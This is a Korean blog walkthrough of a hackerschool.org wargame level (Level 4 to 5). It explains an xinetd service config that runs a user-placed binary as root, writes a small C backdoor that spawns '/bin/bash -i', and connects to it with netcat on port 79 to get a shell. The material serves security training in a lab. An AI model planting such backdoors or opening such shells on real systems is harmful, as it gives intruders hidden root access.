www.hackerschool.org 를 이용하여 공부한다.
목적 : xinetd 방식 (원격 백도어)
Level4 사용자로 로그인
ID : level4
Pass : suck my brain
$ ls -l
$ cat hint
$ cd /etc/xinetd.d
$ ls -al
$ export LANG=c
$ /sbin/chkcnofig --list | sed -n '/xinetd based/,$p' | grep -w on
$ cat /etc/xinetd.d/backdoor
ⓐ service finger
> 반드시 /etc/services 파일에 들어있는 이름이어야 한다. (반드시 서비스 이름과 포트가 매핑되어야한다.)
ⓑ disable = no
> 데몬을 비 활성화 하지 않음. 서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장
ⓒ flags = REUSE
> 서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가
ⓓ socket_type = stream
> TCP(stream)/UDP(dgram) 프로토콜을 선택
ⓔ wait = no
> 이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답.
> 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미
ⓕ user = root
> 해당 데몬이 root 계정의 권한으로 실행됨
ⓖ server = /usr/bin/in.fingerd
> xinetd에 의해 실행 될 데몬 파일
ⓗ log_on_failure += USERID
> 정상적인 기동에실패한 경우 USERID를 로그에 기록
$ ls -l /home/level4/tmp/backdoor
$ finger level$@localhost
$
> 정상 실행이 되지 않는다.
공격용 파일 생성
$ cd ~/tmp
$ vi backdoor.c
1 2 3 4 5 6 | #include <stdlib.h> int main() { system("/bin/bash"); } | cs |
$ gcc -o backdoor backdoor.c
$ finger level4@localhost
vi backdoor2.c
1 2 3 4 5 6 | #include<stdlib.h> int main() { system("/bin/bash"); } | cs |
$ gcc -o backdoor backdoor2.c
$ finger level4@localhost
> 정상수행 X
>> 원격에서 nc(netcat) 명령어 사용.
[CentOS]
# nc 192.168.10.240 79
my-pass
[HackMe]
# export LANG=C
$ cd ~/tmp
$ vi backdoor2.c
1 2 3 4 5 6 | #include <stdlib.h> int main() { system("/bin/bash -i"); } | cs |
$ gcc -o backdoor backdoor2.c
[CentOS]
# nc 192.168.10.240 79
xinetd 방식의 원격 백도어 특성
> 서비스 요청이 있지 않으면 데몬이 떠 있지 않은 생태이므로 관리자가 확인하기 어렵다.
> 클라이언트가 해커들이 그 포트로 요청을 하기 전 까지는 데몬이 뜨질 않는다. 요청이 있어야 데몬이 뜬다.
'보안과정 > 리버싱' 카테고리의 다른 글
Level 6 → Level 7 (0) | 2017.11.29 |
---|---|
Level 5 → Level 6 (0) | 2017.11.29 |
Level 3 → Level 4 (0) | 2017.11.28 |
Level 2 → Level 3 (0) | 2017.11.28 |
Level1 문제 도전. (0) | 2017.11.27 |